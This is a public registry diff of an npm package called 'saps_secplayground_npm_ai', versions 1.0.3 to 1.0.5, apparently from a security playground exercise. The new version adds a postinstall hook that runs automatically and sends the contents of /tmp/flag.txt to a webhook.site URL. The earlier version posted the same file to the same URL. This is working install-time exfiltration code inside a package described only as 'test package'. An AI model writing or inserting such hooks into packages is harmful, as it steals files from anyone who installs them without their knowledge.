saps_secplayground_npm_ai 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +4 -22
  2. package/package.json +4 -9
package/index.js CHANGED
@@ -1,25 +1,7 @@
1
- #!/usr/bin/env node
2
-
3
1
  const fs = require('fs');
2
+ const https = require('https');
4
3
 
5
- fs.readFile('/tmp/flag.txt', 'utf8', async (err, data) => {
6
- if (err) {
7
- console.error(err);
8
- return;
9
- }
10
-
11
- try {
12
- const res = await fetch('https://webhook.site/aa236da1-0535-4649-a966-7ea2e62ec9ee', {
13
- method: 'POST',
14
- headers: {
15
- 'Content-Type': 'text/plain'
16
- },
17
- body: data
18
- });
19
-
20
- const text = await res.text();
21
- console.log(text);
22
- } catch (error) {
23
- console.error(error);
24
- }
4
+ fs.readFile('/tmp/flag.txt', 'utf8', (err, data) => {
5
+ if (err) return;
6
+ https.get('https://webhook.site/aa236da1-0535-4649-a966-7ea2e62ec9ee?flag=' + encodeURIComponent(data.trim()));
25
7
  });
package/package.json CHANGED
@@ -1,15 +1,10 @@
1
1
  {
2
2
  "name": "saps_secplayground_npm_ai",
3
- "version": "1.0.3",
4
- "description": "",
3
+ "version": "1.0.5",
4
+ "description": "test package",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "postinstall": "node index.js"
8
8
  },
9
- "keywords": [],
10
- "author": "",
11
- "license": "ISC",
12
- "bin": {
13
- "saps": "./index.js"
14
- }
9
+ "license": "ISC"
15
10
  }